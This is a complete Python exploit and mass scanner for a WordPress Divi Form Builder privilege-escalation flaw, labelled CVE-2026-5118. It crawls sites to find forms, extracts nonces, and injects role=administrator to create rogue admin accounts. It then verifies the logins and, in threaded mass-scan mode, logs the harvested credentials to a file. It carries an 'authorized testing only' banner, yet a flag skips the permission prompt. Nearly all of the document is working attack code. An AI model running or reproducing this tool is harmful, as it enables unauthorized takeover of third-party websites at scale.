#!/usr/bin/env python3 """ CVE-2026-5118 Mass Scanner Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation Educational / Authorized Testing Only """ import argparse import concurrent.futures import json import random import re import string import sys import urllib3 import requests from urllib.parse import urljoin, urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ─────────────────────────────────────────── # ANSI colors (auto-disable if not TTY) # ─────────────────────────────────────────── if sys.stdout.isatty(): R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[94m"; C = "\033[96m"; W = "\033[0m" else: R = G = Y = B = C = W = "" class DFBExploit: def __init__(self, target_url, verbose=False, timeout=20): self.target = target_url.rstrip('/') self.verbose = verbose self.timeout = timeout self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': ( 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' 'AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/120.0.0.0 Safari/537.36' ), }) def _log(self, msg): print(msg) def _dbg(self, msg): if self.verbose: print(f"[v] {msg}") def _get(self, url): self._dbg(f"GET {url}") try: r = self.session.get(url, timeout=self.timeout) self._dbg(f" status={r.status_code} len={len(r.text)}") return r except Exception as e: self._dbg(f" error: {e}") return None # ─────────────────────────────────────────── # Phase 1: Target Discovery — ANY DFB form # ─────────────────────────────────────────── def find_form(self): self._dbg("Phase 1: Discovering any DFB form...") # Step 1: Known registration/contact paths (fast) paths = [ '/register/', '/registration/', '/my-account/', '/wp-login.php?action=register', '/signup/', '/sign-up/', '/join/', '/get-started/', '/contact/', '/about/', '/quote/', '/feedback/', '/newsletter/', '/subscribe/', '/book/', '/request/', '/inquiry/', '/', ] for path in paths: result = self._check_page_for_dfb(urljoin(self.target, path)) if result: return result # Step 2: REST API search=register quick rest = self._get(urljoin(self.target, '/wp-json/wp/v2/pages?search=register&per_page=100')) if rest and rest.status_code == 200: try: for page in rest.json(): result = self._check_page_for_dfb(page.get('link', '')) if result: return result except Exception: pass # Step 3: Deep REST API enumeration (all pages, posts, CPTs) for endpoint, name in [ ('pages', 'pages'), ('posts', 'posts'), ]: result = self._deep_rest_enum(endpoint, name) if result: return result for cpt in ['dfb_forms', 'de_fb_forms', 'divi_forms', 'et_fb_forms', 'fb_forms']: result = self._deep_rest_enum(cpt, f'CPT:{cpt}') if result: return result # Step 4: Sitemap crawl result = self._sitemap_crawl() if result: return result # Step 5: robots.txt crawl result = self._robots_crawl() if result: return result # Step 6: Homepage link crawl result = self._homepage_link_crawl() if result: return result return None def _check_page_for_dfb(self, url): """GET url and check for ANY DFB indicator (fb_nonce, de_fb_obj, divi-form-builder).""" if not url: return None r = self._get(url) if not r or r.status_code != 200: return None text = r.text # Cek DFB indicators: fb_nonce hidden input, de_fb_obj, atau divi-form-builder string if 'fb_nonce' in text and ('divi-form-builder' in text or 'de_fb_obj' in text or 'de_fb_ajax_submit_ajax_handler' in text): self._dbg(f"[+] DFB form detected at: {url}") return text if 'de_fb_obj' in text or 'de_fb_ajax_submit_ajax_handler' in text: self._dbg(f"[+] DFB indicators at: {url}") return text if 'divi-form-builder' in text: self._dbg(f"[+] divi-form-builder string at: {url}") return text return None def _deep_rest_enum(self, endpoint, name): self._dbg(f"Deep REST API: enumerating {name}...") page = 1 found = [] while page <= 5: url = urljoin(self.target, f'/wp-json/wp/v2/{endpoint}?per_page=100&page={page}') r = self._get(url) if not r or r.status_code != 200: break try: items = r.json() except Exception: break if not isinstance(items, list) or not items: break for item in items: link = item.get('link', '') if link: found.append(link) if len(items) < 100: break page += 1 self._dbg(f" {name}: {len(found)} URLs") checked = set() for link in found: if link in checked: continue checked.add(link) result = self._check_page_for_dfb(link) if result: return result return None def _sitemap_crawl(self): sitemap_urls = [ '/wp-sitemap.xml', '/sitemap.xml', '/sitemap_index.xml', '/sitemap-index.xml', '/post-sitemap.xml', '/page-sitemap.xml', ] all_urls = [] for sm_url in sitemap_urls: r = self._get(urljoin(self.target, sm_url)) if not r or r.status_code != 200: continue urls = re.findall(r'([^<]+)', r.text) all_urls.extend(urls) # Nested sitemaps for url in list(urls): if '.xml' in url and 'sitemap' in url: r2 = self._get(url) if r2 and r2.status_code == 200: nested = re.findall(r'([^<]+)', r2.text) all_urls.extend(nested) checked = set() for url in all_urls: if url in checked: continue checked.add(url) result = self._check_page_for_dfb(url) if result: return result return None def _robots_crawl(self): r = self._get(urljoin(self.target, '/robots.txt')) if not r or r.status_code != 200: return None text = r.text sitemaps = re.findall(r'(?i)^\s*Sitemap:\s*(\S+)', text, re.MULTILINE) for sm in sitemaps: r2 = self._get(sm) if r2 and r2.status_code == 200: urls = re.findall(r'([^<]+)', r2.text) for url in urls: result = self._check_page_for_dfb(url) if result: return result interesting = re.findall(r'(?i)^\s*(?:Allow|Disallow):\s*(/[^\s]*)', text, re.MULTILINE) for path in interesting: if path in ('/', '/wp-admin/', '/wp-includes/'): continue result = self._check_page_for_dfb(urljoin(self.target, path)) if result: return result return None def _homepage_link_crawl(self): r = self._get(urljoin(self.target, '/')) if not r or r.status_code != 200: return None links = re.findall(r'href=["\']([^"\']+)["\']', r.text) candidates = [] keywords = ['register', 'signup', 'sign-up', 'join', 'contact', 'form', 'get-started', 'about', 'quote', 'feedback', 'subscribe'] for link in links: if link.startswith('http'): abs_link = link elif link.startswith('/'): abs_link = urljoin(self.target, link) else: abs_link = urljoin(self.target + '/', link) if not abs_link.startswith(self.target): continue if re.search(r'\.(js|css|png|jpg|jpeg|gif|svg|pdf|zip)$', abs_link, re.I): continue lower = abs_link.lower() if any(k in lower for k in keywords): candidates.insert(0, abs_link) else: candidates.append(abs_link) checked = set() for link in candidates: if link in checked: continue checked.add(link) result = self._check_page_for_dfb(link) if result: return result return None # ─────────────────────────────────────────── # Phase 2: Parameter Extraction # ─────────────────────────────────────────── def extract_params(self, html): self._dbg("Phase 2: Extracting parameters...") params = {} # 1. Try de_fb_obj (JavaScript) de_fb_match = re.search( r'(?:var|let|const|window\.)?\s*de_fb_obj\s*=\s*(\{.*?\});?', html, re.DOTALL ) if not de_fb_match: de_fb_match = re.search(r'de_fb_obj\s*=\s*(\{.*?\});?', html, re.DOTALL) if de_fb_match: raw = de_fb_match.group(1) raw = raw.replace("'", '"') raw = re.sub(r',(\s*[}\]])', r'\1', raw) try: obj = json.loads(raw) self._dbg(f"de_fb_obj keys: {list(obj.keys())}") for k in ('nonce', 'fb_nonce'): if k in obj and obj[k]: params['fb_nonce'] = str(obj[k]) self._dbg(f"fb_nonce from de_fb_obj: {params['fb_nonce'][:20]}...") break if 'form_key' in obj and obj['form_key']: params['form_key'] = str(obj['form_key']) self._dbg(f"form_key from de_fb_obj: {params['form_key'][:20]}...") except json.JSONDecodeError as e: self._dbg(f"de_fb_obj JSON parse failed: {e}") # 2. Fallback: hidden input HTML def _get_attr(html, attr_name): pat = ( r'<[^>]*?name=["\']' + re.escape(attr_name) + r'["\'][^>]*?' r'value=["\']([^"\']+)["\'][^>]*?>|' r'<[^>]*?value=["\']([^"\']+)["\'][^>]*?' r'name=["\']' + re.escape(attr_name) + r'["\'][^>]*?>' ) m = re.search(pat, html, re.I | re.S) return (m.group(1) or m.group(2)) if m else None if 'fb_nonce' not in params: v = _get_attr(html, 'fb_nonce') if v: params['fb_nonce'] = v self._dbg(f"fb_nonce from hidden input: {v[:20]}...") if 'form_key' not in params: v = _get_attr(html, 'form_key') if v: params['form_key'] = v self._dbg(f"form_key from hidden input: {v[:20]}...") # Default role reference (info only) role = _get_attr(html, 'role') if not role: m = re.search( r'class=["\']df_hidden_user_role["\'][^>]*value=["\']([^"\']+)["\']|' r'value=["\']([^"\']+)["\'][^>]*class=["\']df_hidden_user_role["\']', html, re.I | re.S ) if m: role = m.group(1) or m.group(2) if role: params['default_role'] = role self._dbg(f"Default role: {role}") return params # ─────────────────────────────────────────── # Phase 3: Role Injection # ─────────────────────────────────────────── def exploit(self, params, username, password, email): ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php') self._dbg(f"Phase 3: POST {ajax_url}") files = { 'action': (None, 'de_fb_ajax_submit_ajax_handler'), 'fb_nonce': (None, params.get('fb_nonce', '')), 'role': (None, 'administrator'), 'form_type': (None, 'register'), # ← OVERRIDE! Form asal contact pun jadi register 'divi-form-submit': (None, 'yes'), 'de_fb_user_login': (None, username), 'user_login': (None, username), 'de_fb_user_pass': (None, password), 'user_pass': (None, password), 'de_fb_pass_repeat': (None, password), 'de_fb_user_email': (None, email), 'user_email': (None, email), } fk = params.get('form_key', '').strip() if fk: files['form_key'] = (None, fk) headers = {'X-Requested-With': 'XMLHttpRequest'} try: resp = self.session.post(ajax_url, files=files, headers=headers, timeout=self.timeout) except Exception as e: self._dbg(f"Request failed: {e}") return False, f"request_error: {e}" self._dbg(f"Response: HTTP {resp.status_code}") self._dbg(f"Body: {resp.text[:500]}") if resp.status_code != 200: return False, f"http_{resp.status_code}" text_lower = resp.text.lower() # JSON evaluation try: j = resp.json() self._dbg(f"JSON: {j}") msg = str(j.get('message', '')).lower() if j.get('success') is True or j.get('result') == 'success': return True, "json_success" if 'success' in msg or 'registered' in msg or 'created' in msg or 'registration' in msg: return True, "json_msg_success" if 'user' in str(j).lower(): return True, "json_user_obj" except ValueError: pass good = ['success', 'registration successful', 'registered', 'created', 'account created', 'welcome'] bad = ['error', 'failed', 'invalid', 'nonce verification failed', 'cheating', 'forbidden', 'unauthorized'] for g in good: if g in text_lower: return True, f"text_{g}" for b in bad: if b in text_lower: return False, f"text_{b}" return False, "ambiguous" # ─────────────────────────────────────────── # Phase 4: Admin Verification # ─────────────────────────────────────────── def verify(self, username, password): login_url = urljoin(self.target, '/wp-login.php') self._dbg(f"Phase 4: Verifying admin access...") data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target, '/wp-admin/'), 'testcookie': '1', } try: resp = self.session.post(login_url, data=data, allow_redirects=True, timeout=self.timeout) except Exception as e: self._dbg(f"Login failed: {e}") return False if '/wp-admin' in resp.url: return True if 'dashboard' in resp.text.lower(): return True # Fallback: try GET /wp-admin/ with same session try: admin_resp = self.session.get(urljoin(self.target, '/wp-admin/'), timeout=self.timeout) except Exception: return False if '/wp-admin' in admin_resp.url or 'dashboard' in admin_resp.text.lower(): return True return False # ─────────────────────────────────────────── # Full run: return (success_bool, details_dict) # ─────────────────────────────────────────── def run(self, username=None, password=None, email=None): # Phase 1 html = self.find_form() if not html: return False, {"stage": "discovery", "reason": "No DFB form found"} # Phase 2 params = self.extract_params(html) if not params.get('fb_nonce'): return False, {"stage": "extraction", "reason": "fb_nonce not found"} # Generate credentials if not username: username = 'admin' + ''.join(random.choices(string.digits, k=4)) if not password: password = 'Str0ngP@ss!' + ''.join(random.choices(string.ascii_letters, k=4)) if not email: email = f"{username}@test.local" # Phase 3 exploited, detail = self.exploit(params, username, password, email) if not exploited: return False, {"stage": "exploit", "reason": detail, "username": username} # Phase 4 verified = self.verify(username, password) return True, { "stage": "verified" if verified else "exploit_only", "verified": verified, "username": username, "password": password, "email": email, "detail": detail, } # ═══════════════════════════════════════════ # Mass Scanner with Threading # ═══════════════════════════════════════════ def normalize_url(url): """Add http:// prefix if missing.""" url = url.strip() if not url: return None if not url.startswith(('http://', 'https://')): # Try https first, fallback to http return f"http://{url}" return url def scan_single_target(url, verbose=False, timeout=20): """Scan one target. Returns (url, status, details).""" target = normalize_url(url) if not target: return url, "INVALID", {} try: exploit = DFBExploit(target, verbose=verbose, timeout=timeout) success, details = exploit.run() if success: return target, "VULNERABLE", details else: return target, "SAFE/PATCHED", details except Exception as e: return target, "ERROR", {"error": str(e)} def run_mass_scan(targets, threads=10, verbose=False, timeout=20, output_file="result.txt"): """Run mass scan with threading.""" # Normalize and deduplicate targets seen = set() unique_targets = [] for t in targets: nt = normalize_url(t) if nt and nt not in seen: seen.add(nt) unique_targets.append(t) targets = unique_targets total = len(targets) print(f"\n{G}[+] Mass scan: {total} targets | Threads: {threads}{W}\n") results = [] vulnerable = 0 safe = 0 errors = 0 with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: future_to_url = { executor.submit(scan_single_target, url, verbose, timeout): url for url in targets } for future in concurrent.futures.as_completed(future_to_url): url = future_to_url[future] try: target, status, details = future.result(timeout=60) except Exception as e: target, status, details = url, "ERROR", {"error": str(e)} results.append((target, status, details)) if status == "VULNERABLE": vulnerable += 1 user = details.get('username', 'N/A') pwd = details.get('password', 'N/A') verified = details.get('verified', False) vstr = f"{G}[VERIFIED]{W}" if verified else f"{Y}[EXPLOITED]{W}" print(f"{G}[VULNERABLE]{W} {target} | User: {user} | Pass: {pwd} {vstr}") elif status == "SAFE/PATCHED": safe += 1 reason = details.get('reason', 'N/A') stage = details.get('stage', 'N/A') print(f"{R}[SAFE]{W} {target} | {stage}: {reason}") else: errors += 1 err = details.get('error', 'N/A') print(f"{Y}[ERROR]{W} {target} | {err}") # Write results to file with open(output_file, 'w', encoding='utf-8') as f: f.write("=" * 70 + "\n") f.write("CVE-2026-5118 Mass Scan Results\n") f.write("=" * 70 + "\n\n") f.write(f"Total Targets: {total}\n") f.write(f"Vulnerable: {vulnerable}\n") f.write(f"Safe/Patched: {safe}\n") f.write(f"Errors: {errors}\n\n") f.write("=" * 70 + "\n\n") for target, status, details in results: f.write(f"[{status}] {target}\n") if status == "VULNERABLE": f.write(f" Username: {details.get('username', 'N/A')}\n") f.write(f" Password: {details.get('password', 'N/A')}\n") f.write(f" Verified: {details.get('verified', False)}\n") f.write(f" Detail: {details.get('detail', 'N/A')}\n") elif status == "SAFE/PATCHED": f.write(f" Stage: {details.get('stage', 'N/A')}\n") f.write(f" Reason: {details.get('reason', 'N/A')}\n") else: f.write(f" Error: {details.get('error', 'N/A')}\n") f.write("\n") print(f"\n{G}[+] Scan complete!{W}") print(f" Total: {total}") print(f" {G}Vulnerable: {vulnerable}{W}") print(f" {R}Safe/Patched: {safe}{W}") print(f" {Y}Errors: {errors}{W}") print(f" Results saved to: {C}{output_file}{W}") # ═══════════════════════════════════════════ # Main CLI # ═══════════════════════════════════════════ def main(): parser = argparse.ArgumentParser( description='CVE-2026-5118 Mass Scanner — Divi Form Builder Privilege Escalation', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Single target python3 exploit.py -t http://target.com # Single target with custom creds python3 exploit.py -t https://target.com -u hacker -p Pass123! # Mass scan from list (no http/https needed in file) python3 exploit.py -l targets.txt -T 20 # Mass scan with verbose python3 exploit.py -l targets.txt -T 10 -v # Mass scan custom output python3 exploit.py -l targets.txt -o scan_results.txt """ ) parser.add_argument('-t', '--target', help='Single target URL') parser.add_argument('-l', '--list', help='File with target list (one per line, no http/https needed)') parser.add_argument('-T', '--threads', type=int, default=10, help='Threads for mass scan (default: 10)') parser.add_argument('-o', '--output', default='result.txt', help='Output file for results (default: result.txt)') parser.add_argument('-u', '--username', help='Username for new account (auto-gen if omitted)') parser.add_argument('-p', '--password', help='Password for new account (auto-gen if omitted)') parser.add_argument('-e', '--email', help='Email for new account (auto-gen if omitted)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose debug output') parser.add_argument('--timeout', type=int, default=20, help='Request timeout in seconds (default: 20)') parser.add_argument('--no-confirm', action='store_true', help='Skip permission confirmation prompt') args = parser.parse_args() if not args.target and not args.list: parser.print_help() sys.exit(1) print(""" ╠═════════════════════════════════════════════════════════════════════════════╣ ║ WARNING: EDUCATIONAL / AUTHORIZED TESTING ONLY ║ ║ ║ ║ CVE-2026-5118 | Divi Form Builder <= 5.1.2 ║ ║ Unauthenticated Privilege Escalation via Role Injection ║ ║ ║ ║ BREAKTHROUGH: Any DFB form (contact/quote/etc) can be used! ║ ║ fb_nonce is GLOBAL. form_type=register is overridable via POST. ║ ║ ║ ║ Only test on systems you OWN or have PERMISSION for. ║ ║ Unauthorized access to computer systems is ILLEGAL. ║ ╠═════════════════════════════════════════════════════════════════════════════╣ """) if not args.no_confirm: confirm = input("Do you have permission to test these targets? (yes/no): ") if confirm.lower().strip() != 'yes': print("[-] Exiting.") sys.exit(0) # Single target mode if args.target: target = normalize_url(args.target) print(f"\n{G}[+] Single target mode: {target}{W}\n") exploit = DFBExploit(target, verbose=args.verbose, timeout=args.timeout) success, details = exploit.run(args.username, args.password, args.email) print("\n" + "=" * 60) if success: print(f"{G}RESULT: EXPLOIT SUCCESSFUL{W}") print(f" Target: {target}") print(f" Username: {details.get('username')}") print(f" Password: {details.get('password')}") print(f" Verified: {details.get('verified', False)}") else: print(f"{R}RESULT: EXPLOIT FAILED{W}") print(f" Target: {target}") print(f" Stage: {details.get('stage')}") print(f" Reason: {details.get('reason')}") print("=" * 60) sys.exit(0 if success else 1) # Mass scan mode if args.list: try: with open(args.list, 'r', encoding='utf-8') as f: targets = [line.strip() for line in f if line.strip() and not line.startswith('#')] except FileNotFoundError: print(f"{R}[-] File not found: {args.list}{W}") sys.exit(1) except Exception as e: print(f"{R}[-] Error reading list: {e}{W}") sys.exit(1) if not targets: print(f"{R}[-] No targets found in {args.list}{W}") sys.exit(1) run_mass_scan(targets, threads=args.threads, verbose=args.verbose, timeout=args.timeout, output_file=args.output) if __name__ == '__main__': main()